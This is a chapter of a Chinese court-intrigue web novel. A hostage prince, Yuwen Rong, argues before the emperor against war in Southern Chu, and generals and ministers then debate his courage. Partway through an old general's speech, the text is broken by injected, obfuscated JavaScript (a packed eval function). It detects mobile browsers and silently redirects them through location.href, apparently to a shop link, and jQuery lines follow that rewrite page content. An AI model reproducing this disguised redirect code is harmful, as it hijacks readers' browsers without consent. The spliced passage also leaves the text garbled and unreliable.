紫宸殿的侧殿，从未如此拥挤，又如此死寂。
十一名质子，分两列跪坐在一道厚重的紫檀木屏风之后。屏风绣着万里江山图，金线在幽暗光线下微微流动，像蛰伏的巨兽鳞片。他们能清晰地听见前殿传来的每一句话、每一声争执，甚至衣袍摩擦的悉索，自己这边却一丝声响也不敢发出，连呼吸都刻意放得轻缓绵长。
宇文戎跪坐在末位。靖王之子，被废的世子——这身份在此刻化为清晰的阶次：一个被宗法除名的前世子，礼制上便低于所有在位的世子。这是朝廷排序铁则，名分重于血统。这个位置，视野独特。向前，是十个挺直的背影与屏风上蜿蜒的金线；向后，是殿柱与厚重的幽暗。他不在任何序列中，像一个被搁置的注脚。
座次是朝廷书写的密码。而他的末席，密码尤为残酷——正因其父是悬在朝廷头顶最沉的剑，他这个儿子才必须被按在最深的尘埃里。这是皇权对强藩的警示：纵使你权重边关，你的儿子在朕的殿上，也须恪守朕定下的尊卑。
至于那点若有若无的、属于帝王心术的敲打，反倒微不足道了。末席本身已是全部答案：礼法的贬抑与政治的防范，共同铸成了这个位置。他是一枚被刻意放置的棋子，用以昭示规则，平衡虚实。他垂着眼，盯着自己置于膝上、缠着素白药布的右手。
前殿的声浪一阵高过一阵。
“陛下！楚王庶子梁平，弑父篡位，禽兽之行！更兼连夺两城，陈兵示威，此乃公然藐视天威！若不发兵痛剿，国法何在？朝廷颜面何存？”
“臣附议！乱臣贼子，人人得而诛之！”
主战之声如沸水翻腾。隔着屏风，宇文戎也能感受到那股灼热的、急于用血与火证明忠诚与武力的浪潮。
许久，御座上传来梁帝的声音，不高，却轻易压下了所有嘈杂：“众卿忠勇，朕心甚慰。太子，你怎么看？”
殿内静了一瞬。
太子的声音响起，清晰，平稳，却带着一丝不易察觉的审慎：“回父皇，儿臣以为，梁平悖逆人伦，确是天理难容。然……讨逆大军一动，钱粮靡费，百姓惊扰……不若先行抚慰，稳其形势，再徐图良策。”
太子的声音落下，前殿陷入一种微妙的寂静。
“嗯。”梁帝不置可否地应了一声。随即，话锋一转，竟是对着屏风之后，“今日尔等有幸旁听国事，亦属机缘。朕，也想听听你们的见解。”
屏风后的空气瞬间凝固了。
“梁安。”梁帝点了名，声音是刻意放缓的温和。
坐在前排的楚王世子梁安，早已面如土色，闻言浑身剧颤，几乎是连滚爬地从屏风后挪出，扑倒在御阶之下，以头抢地，涕泪横流：“陛下！陛下开恩！臣……臣父死得冤啊！……求陛下为臣父做主，发天兵诛杀此獠！臣……臣愿为前驱，万死不辞！”
梁帝沉默地听着。
有了梁安开头，其他质子仿佛找到了方向，陆续有人从屏风后趋出，跪地陈情。声音或激昂，或颤抖，内容却大同小异：表态，效忠，请战。言辞凿凿，却如同照着同一份底稿念出。
宇文戎依旧跪坐在原地，背脊挺直，眼帘低垂。
直到，那道温和却不容抗拒的声音，穿过屏风，精准地落在他头顶：
“宇文戎。”
他指尖几不可察地蜷缩了一下，随即松开。深吸一口气，缓缓起身，从屏风后走出。步履平稳，比那些连滚带爬的同侪更显从容。他跪在御阶下，姿态恭谨，却无谄媚。
“陛下垂询，臣，惶恐。”他声音平稳，“臣居宫养伤，于南楚情势，所知不过今日听闻。未知全貌，实不敢妄加置评。”
梁帝看着他，目光在他低垂的眉眼和挺直的肩线上停留片刻，忽然道：“既如此，朕便让你看看全貌。怀恩，将近日南楚军报，及南楚、西境、北疆地域舆图，取来。”
内侍迅速搬来案几，厚厚的军报文牍与绘制精细的巨幅地图铺陈开来。
“你看。”梁帝只说了两个字。
宇文戎叩首：“臣遵旨。”
他起身，走到案几前。快速翻阅军报，目光如扫描般掠过一行行文字。随即，视线落在地图上。他的目光先锁定了南楚，手指无意识地在空中虚划几道线路。然后，视线迅速西移，落在西境陈国疆域，眉头几不可察地蹙了一下。最后，目光扫过北境离国动向的符号。
殿内静得只剩下他翻阅纸张的轻微沙沙声。所有目光都聚焦在这个沉默查阅的质子身上。
时间仿佛只在几个呼吸之间。
宇文戎合上最后一份军报，后退一步，重新跪倒。他开口，声音依旧平静，却多了一丝凝练的力度：
“陛下，臣愚见，此时对南楚用兵，恐非上策。”
一语既出，前殿隐隐传来吸气声。战神靖王之子居然主和？
“讲。”
“其一，”宇文戎目视前方虚空，条理清晰，“梁平以庶弑父，上位不正，名分有亏。南楚内部，忠于故楚王及世子者未必全消……朝廷若此时大举征伐，恐迫使其内部暂弃嫌隙，一致对外，反助其凝聚。”
“其二，”他顿了顿，“西境陈国，近年来厉兵秣马，其王素有野心。臣观近日零星边报，陈国边境兵马调动频繁，其心难测。臣虽未见确凿信报，然以其王秉性及当下形势推断，不可不防其暗中与南楚勾连之可能。倘若朝廷主力深陷南楚，西境空虚，陈国极有可能趁隙而入，届时我将腹背受敌。”
“其三，”他声音略沉，那平静的语调下，似乎有一丝极淡却无法忽略的凝重，“北境离国，今岁虽败，元气未失，始终虎视眈眈。若见我国内乱起，西、南皆战，难保不会再生异动。陛下，三线皆备，兵力分散，补给漫长……”他抬起头，目光清澈地望向御座方向，一字一句道，“非臣怯战，或不知将士立功之心。实因每念及烽火一起，粮秣耗尽，关河险阻，万千军民埋骨异乡，百姓流离失所，心中……不忍。此非上策，乃因代价，恐动摇国本。”
三条理由，条条基于情报与推断，逻辑清晰，直指潜在风险，更在最后注入了一份超越战术计算的、对国运民生的深沉考量。
前殿鸦雀无声。严御史向屏风方向侧目一看。高相昏昏欲睡眼睑眯开了一道缝。
梁帝沉默了许久，久到殿内的空气都仿佛不再流动。他的目光落在宇文戎身上，那里面翻涌着极为复杂的情绪。
“依你之见，该当如何？”梁帝终于开口。
宇文戎俯首：“臣不敢妄言方略。然，窃以为当务之急，西境需严密设防，震慑陈国，使其不敢妄动。对南楚，明面上可暂缓征讨，暗地里保梁安世子之名位大义，资助其联络旧部，分化梁平内部……待其内乱，或西境稳固，再定行止。”
梁帝没有再问，也没有评价。他只是深深地看着宇文戎。
“朕，知道了。”良久，梁帝挥了挥手，“尔等今日都辛苦了，退下吧。”
质子们如蒙大赦，纷纷退出紫宸殿。
宇文戎走在最后。刚下丹陛，太子刘成便从一旁快步赶上，与他并肩而行。左右宫人识趣地落后数步。
太子的脸色并不好看，眉头紧锁，压低了声音，语气带着罕见的焦灼与责备：“戎弟！你今日……太过冒失了！”
宇文戎侧目看他，不语。
“你难道看不出，父皇今日此举，意在何为？”太子语气急促，“非是真的要听你们议论国政！是看你们在‘忠君’与‘自保’之间如何抉择！是看你们在群情激愤之下，能否持守‘本分’！梁安那是吓破了胆，情有可原。其他人表态、请战，不过是随大流，表忠心，虽无新意，却最是稳妥！你……你为何偏偏要独树一帜，说出那番不能战的话来？还分析得如此……如此透彻！”
他顿了顿，看着宇文戎依然平静无波的侧脸，声音更沉：“你可知，‘从众’二字，在此时此地，才是保身之道？你将自己置于何地？”
宇文戎停下脚步，望向太子。那双总是沉寂如古井的眼眸里，此刻映着宫墙灰暗的天光，和太子清晰可见的忧惧。他开口，声音不大，却字字清晰，带着一种近乎天真的执拗：
“殿下，今日所议，非关赏罚，非关进退。乃社稷安危，百姓祸福。既有所见，有所虑，岂能因一己之安危祸福，而缄默不言？”
太子愕然地看着他，那清澈而固执的目光里，没有算计，没有畏惧，只有一片坦荡的、近乎灼人的“认真”。他张了张嘴，所有劝诫竟一时哽在喉间。最终，他只是重重地、无可奈何地叹了口气，抬手极轻地拍了一下宇文戎未受伤的左肩。
“你呀……”千言万语，化作一声复杂无比的叹息。
紫宸殿的朝议虽散，西侧武臣待诏的直房里，气氛却比殿上更加灼热憋闷。
几名主战的将领围在炭盆边，脸色涨红，言辞激烈。
“憋屈！真他娘的憋屈！”贺将军一把扯开朝服领口，“陈贼都踩到脸上了！咱们在这儿还得听一个半大孩子叨叨什么粮道、什么西境？打就是了！他老子靖王当年带着千把人就敢直插叛军腹地的时候，算过身后粮道能维持几天吗？没有！就一句话：狭路相逢，勇者胜！这才是我辈武人的血性！……”
他话没说完，旁边姓郑的副将便阴恻恻地接口：“靖王是靖王。贺兄没听见么？他家的这位‘公子’，可是主和的。”他刻意加重了“公子”二字，“怕是金陵城的暖风，把骨头都吹软了，血……也吹凉了。听说右手也废了，如今也就剩下在陛下面前摆弄沙盘、侃侃而谈的‘本事’了。”
直房里短暂地静了一下。在座的都是武将，谁没听过当年西苑射雕的盛况？现在他右手重伤的传闻，也让人扼腕。
一直沉默拨弄炭火的秦都尉开了口，火星噼啪炸起：“他今日说的那些，有错吗？未必。西境陈国是不是隐患？是。粮草供应会不会吃力？会。可咱们当兵吃粮的，要是前怕狼后怕虎，什么都算得清清楚楚才敢动，这仗也别打了！”
另一位老成些的校尉叹了口气：“宇文公子那话，确是寒了将士们的心。边境儿郎枕戈待旦，盼的就是一场硬仗，挣一份军功，搏一个封妻荫子。他轻飘飘一句‘非上策’，断送了多少人的指望？”
“可不是！”李猛咬牙道，“陛下近年重文抑武，咱们升迁本就艰难。好容易盼来这等机会……他宇文戎锦衣玉食在宫里养着，哪里知道边关的苦？只剩下了怯懦！”
众人沉默下来，粗重的呼吸在寒风里化成白雾。一种混杂着失望、愤怒与功业受阻的无力感弥漫开来。
就在这愤懑几乎凝成冰时，角落里一直闭目养神的贺兰阙老将军缓缓睁开了眼。
“怯懦？”他声音沙哑，却让所有人都看了过去，“你们说他怯懦，说他骨头软了，血凉了？”老将军的目光扫过众人，最后落在炭火上，仿佛穿透时光，“老夫问你们，当年离国使臣放金雕挑衅，笑我大梁无人，满殿武弁，包括老夫，谁有十足把握在御前、在那等高度，一箭射落那扁毛畜生？”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048626|194767||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他目光望向跳跃的炭火，仿佛穿透时光，“那时他只有8岁，还没御案高，就那么冲出去了。马快，人小，弩却稳得像生了根。箭啸裂云，金雕应声坠于使臣案前，翎羽震落杯中酒。”
直房里落针可闻，只有炭火轻微的噼啪声。
老将军环视众人，一字一句道：“诸位，还记得他说什么吗？‘雕鸷犯境，当诛。’”
直房里落针可闻。
“入京为质前，他去了梁离战场。”老将军的声音更沉，“实实在在地顶在了锋线上，用血捍卫过我大梁的北境。”
贺兰阙拿起火钳，慢慢拨弄炭火，火光在他苍老的脸上明明灭灭：“今日他在殿上说的，是谋国之士该说的话。身为质子，他本可以像其他人一样，喊几句忠心，请几句战，最是稳妥。但他选了最难的那条路，说了最不讨喜、却可能最对的话。”他抬起眼，目光锐利如昔，“你们觉得他怯懦？觉得他血凉了？老夫看来，他那份不顾自身、直陈利害的胆气，比他八岁时射落那雕，更配得上‘当诛’二字。因为这次，他诛的不是猛禽，是虚火，是冒进，是可能把千万将士和国运拖入泥潭的……致命诱惑。”
老将军的话像一盆冰水掺着炭火，浇在每个人心头。先前灼热逼人的愤懑，不知不觉间，已渗入一种复杂的、沉重的静默。炭盆里的火，依旧烧着，映着一张张神色变幻、五味杂陈的脸。
紫宸殿的议政早已散了，宫道寂寂，唯余风声。
高相与严御史走在最后。行至宫门无人处，严御史停下脚步，望向紫宸殿的方向，低声道：“高相，今日之事……您怎么看？”
高相也驻足，闻言只淡淡一哂：“陛下心中早有乾坤，今日之举，与其说是询策，不如说是……观心。圣意已决，非你我可置喙。倒是靖王公子……着实令人意外。”
严御史望向虚空，仿佛穿透时光看见了另一道身影：“何止意外。高相，你可曾看出，他今日殿上那份‘透彻敢言’，像谁？”
像谁？
无需答案。两位历经三朝的老臣心中，同时浮现出那对撑起将倾国运的夫妻——
那时，长公主在朝堂之上，面对权倾朝野的华太师与濒临断粮的大军，陈词条分缕析，谋算精准果决。她说服巨贾、亲督粮运的每一个决定，都基于对国势最清醒的认知，与不惜代价的担当。而靖王宇文晋南，外御离国，内平战乱，将妻子的筹谋化为一场场实实在在的捷报。
他们内外同心，挽狂澜于既倒。
正因如此，当他们的儿子宇文戎出生后被梁帝接进宫中，享尽堪比皇子的殊荣时，满朝文武皆觉理所当然——那是他父母以血汗与智慧换来的，他生来就该在云端。
那时的宇文戎，聪慧外露，神采飞扬，是金陵城中最耀眼的孩子。
直到云翳宫变，靖王连夜返藩，长公主沉寂。那个曾经集万千宠爱于一身的孩子，一夜之间，从云端直坠尘埃，成了靖王府一个尴尬的污点，一个无法清洗的孽债。如今又做了这深宫中身份最微妙的质子。
岁月磨去了他幼时的所有张扬，只剩下沉静与内敛。
但今日，当他以清晰冷冽的声音，说出那三条关乎国本的“不可战”理由，并在最后道出那份“不忍”时——那份直指要害的透彻，那份无视自身安危的敢言，那份对生民福祉的深沉关切——仿佛一道刺破时光的闪电，让两位老臣骤然窥见：昔年长公主殿下立于朝堂之上，为了这个国家沥尽心血的赤诚风骨，并未随着她的离去而湮灭。
在这个饱尝世态炎凉、跌入尘埃的少年身上，沉寂多年后，竟以一种更决绝、更无畏的方式，破土重生。
外表可以改变，处境可以天翻地覆。
但骨子里那颗为国为民、不计得失的赤诚之心，原来从未变过。
高相与严御史对视一眼，皆在对方眼中看到了深深的震撼与无尽的唏嘘。严御史最终只是将未尽之言化作一声轻叹，消散在宫墙间的寒风里。那叹息里，有激赏，有忧虑，或许还有一丝，对于即将因这份“不变”的赤诚而必然掀起的波澜，沉静的预见。
紫宸殿内，宫人已将地图与军报收起。
梁帝独坐御案之后，指尖无意识地点着光润的桌面，眼中最后一丝温和的伪装早已褪尽，只剩下深潭般的幽暗与冰冷。
怀恩悄步上前，奉上新茶。
“都听见了？”梁帝问。
“奴才……听见了。”怀恩垂首。
“你怎么看？”
怀恩将腰弯得更低：“宇文公子……心思缜密，见识不凡。只是……终究年轻气盛，少了些……圆融。”
“圆融？”梁帝扯了扯嘴角，那弧度冰冷，“他父亲当年，若懂得‘圆融’，也不会是那般下场。”
他顿了顿。
“传旨，”梁帝的声音恢复了帝王的决断与疏离，“南楚之事，暂缓议决。西境防务，着兵部与枢密院即日重议，增派斥候，严密监控陈国动向。”
“是。”
“另外，”梁帝抬眼，看向殿外虚无，“着人将今日侧殿议事记录，特别是宇文戎所言，誊抄一份，密封，六百里加急，送递北境靖王军前。”
怀恩心中一震，头垂得更低：“……奴才遵旨。”
梁帝不再说话，重新拿起朱笔，仿佛刚才那场惊心动魄的试探与那个不合时宜的答案，不过是日常政务中微不足道的一笔。
只是那笔下批阅的力道，似乎比平日，更重了几分。